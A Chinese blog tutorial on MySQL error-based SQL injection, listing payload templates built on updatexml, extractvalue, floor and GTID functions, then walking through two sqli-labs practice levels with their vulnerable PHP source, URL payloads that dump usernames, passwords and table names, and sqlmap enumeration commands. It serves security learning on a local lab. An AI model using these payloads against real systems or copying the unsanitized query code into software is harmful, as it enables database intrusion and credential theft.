码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • sql各种注入案例


    目录

    1.报错注入七大常用函数

    1)ST_LatFromGeoHash (mysql>=5.7.x)

    2)ST_LongFromGeoHash (mysql>=5.7.x)

    3)GTID  (MySQL >= 5.6.X - 显错<=200)

    3.1 GTID

    3.2 函数详解 

    3.3 注入过程( payload ) 

    4)ST_Pointfromgeohash (mysql>=5.7)

    5)floor(8.x>mysql>5.0)

    6)extractvalue

    7)updatexml

    2.案例一

    1)代码

    2)查看在那个数据库里面

    3)查看有多少列 

    4)查看用户名和密码

    ​ 5)截取数据库的表名

    3.案例二

    1)代码

    2)使用sqlmap注入

    3)查看所有数据库

     4)查看数据库里面的表


    1.报错注入七大常用函数

    1)ST_LatFromGeoHash (mysql>=5.7.x)

    and ST_LatFromGeoHash(concat(0x7e,(),0x7e))--+

    2)ST_LongFromGeoHash (mysql>=5.7.x)

    and ST_LongFromGeoHash(concat(0x7e,(),0x7e))--+

    3)GTID  (MySQL >= 5.6.X - 显错<=200)
    3.1 GTID

    GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的
    GTID_SUBSET() 和 GTID_SUBTRACT()函数

    3.2 函数详解 

    GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错。
    GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集)
    GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)

    3.3 注入过程( payload ) 

    GTID_SUBSET函数
    ') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
     
    GTID_SUBTRACT
    ') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

    4)ST_Pointfromgeohash (mysql>=5.7)

    or (select 1 from (select count(*),concat(0x7e,(),0x7e,floor(rand(0) * 2))x from information_schema.tables group by x)a)--+

    5)floor(8.x>mysql>5.0)

    or (select 1 from (select count(*),concat(0x7e,(),0x7e,floor(rand(0) * 2))x from information_schema.tables group by x)a)--+

    6)extractvalue

    and extractvalue(1,concat(0x7e,())) --+一共可以接收两个参数,报错位置在第二个参数

    7)updatexml

     and updatexml(1,concat(0x7e,(),0x7e),1) --+一共可以接收三个参数,报错位置在第二个参数.

    2.案例一

    1)代码
    1. html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    2. <html xmlns="http://www.w3.org/1999/xhtml">
    3. <head>
    4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    5. <title>Less-1 **Error Based- String**title>
    6. head>
    7. <body bgcolor="#000000">
    8. <div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan font><br>
    9. <font size="3" color="#FFFF00">
    10. //including the Mysql connect parameters.
    11. include("../sql-connections/sql-connect.php");
    12. error_reporting(0);
    13. // take the variables
    14. if(isset($_GET['id']))
    15. {
    16. $id=$_GET['id'];
    17. //logging the connection parameters to a file for analysis.
    18. $fp=fopen('result.txt','a');
    19. fwrite($fp,'ID:'.$id."\n");
    20. fclose($fp);
    21. // connectivity
    22. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    23. $result=mysql_query($sql);
    24. $row = mysql_fetch_array($result);
    25. if($row)
    26. {
    27. echo "";
    28. echo 'Your Login name:'. $row['username'];
    29. echo "
      ";
    30. echo 'Your Password:' .$row['password'];
    31. echo "";
    32. }
    33. else
    34. {
    35. echo '';
    36. print_r(mysql_error());
    37. echo "";
    38. }
    39. }
    40. else { echo "Please input the ID as parameter with numeric value";}
    41. ?>
    42. font> div>br>br>br><center>
    43. <img src="../images/Less-1.jpg" />center>
    44. body>
    45. html>
    2)查看在那个数据库里面

    http://127.0.0.1/sqllabc/Less-1/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)--+http://127.0.0.1/sqllabc/Less-1/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)--+http://127.0.0.1/sqllabc/Less-1/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)--+

     

    3)查看有多少列 

    http://127.0.0.1/sqllabc/Less-1/?id=1%27%20order%20by%203--+

     

    4)查看用户名和密码

    http://127.0.0.1/sqllabc/Less-1/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x3a,password)from%20users),0x7e),1)--+

     由于报错,子查询超过一行,需要修改的结果如下:

    http://127.0.0.1/sqllabc/Less-1/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x3a,password)from%20users%20limit%200,1),0x7e),1)--+

     5)截取数据库的表名

    http://127.0.0.1/sqllabc/Less-1/?id=1%27%20and%20updatexml(1,substring((concat(0x7e,(select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema=%27security%27),0x7e)),1,32),1)--+

    3.案例二

    1)代码
    1. html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    2. <html xmlns="http://www.w3.org/1999/xhtml">
    3. <head>
    4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    5. <title>Less-2 **Error Based- Intiger**title>
    6. head>
    7. <body bgcolor="#000000">
    8. <div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan font><br>
    9. <font size="3" color="#FFFF00">
    10. //including the Mysql connect parameters.
    11. include("../sql-connections/sql-connect.php");
    12. error_reporting(0);
    13. // take the variables
    14. if(isset($_GET['id']))
    15. {
    16. $id=$_GET['id'];
    17. //logging the connection parameters to a file for analysis.
    18. $fp=fopen('result.txt','a');
    19. fwrite($fp,'ID:'.$id."\n");
    20. fclose($fp);
    21. // connectivity
    22. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    23. $result=mysql_query($sql);
    24. $row = mysql_fetch_array($result);
    25. if($row)
    26. {
    27. echo "";
    28. echo 'Your Login name:'. $row['username'];
    29. echo "
      ";
    30. echo 'Your Password:' .$row['password'];
    31. echo "";
    32. }
    33. else
    34. {
    35. echo '';
    36. print_r(mysql_error());
    37. echo "";
    38. }
    39. }
    40. else
    41. {
    42. echo "Please input the ID as parameter with numeric value";
    43. }
    44. ?>
    45. font> div>br>br>br><center>
    46. <img src="../images/Less-2.jpg" />center>
    47. body>
    48. html>
    2)使用sqlmap注入

    C:\Python27\sqlmap>python sqlmap.py -u http://127.0.0.1/sqllabc/Less-2/?id=1

    SQLMap在50个HTTP(s)请求中识别出了以下注入点

    3)查看所有数据库

    C:\Python27\sqlmap>python sqlmap.py -u http://127.0.0.1/sqllabc/Less-2/?id=1 --dbs

     4)查看数据库里面的表

    C:\Python27\sqlmap>python sqlmap.py -u http://127.0.0.1/sqllabc/Less-2/?id=1 -D security --tables

  • 相关阅读:
    数据结构-链表的简单操作实现
    【附源码】计算机毕业设计SSM设计与实现大学常规信息管理系统
    集货运输优化:数学建模步骤,Python实现蚁群算法(解决最短路径问题), 蚁群算法解决旅行商问题(最优路径问题),节约里程算法
    【Java编程进阶之路--异常处理】
    反射_集合,,220816,
    c++ 高阶函数 numeric库
    Nodejs fs模块常用方法 -- File System
    【aloam】ubuntu20.04 配置 aloam 环境,编译过程报错及成功解决方法
    【汇编】寄存器——内存访问内存中字的存储方式、DS和[address]、DS[]和CS:IP的区别、MOV,ADD,SUB、数据段与代码段的区别
    Java实现微信支付功能
  • 原文地址:https://blog.csdn.net/m0_69435261/article/details/132616838
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号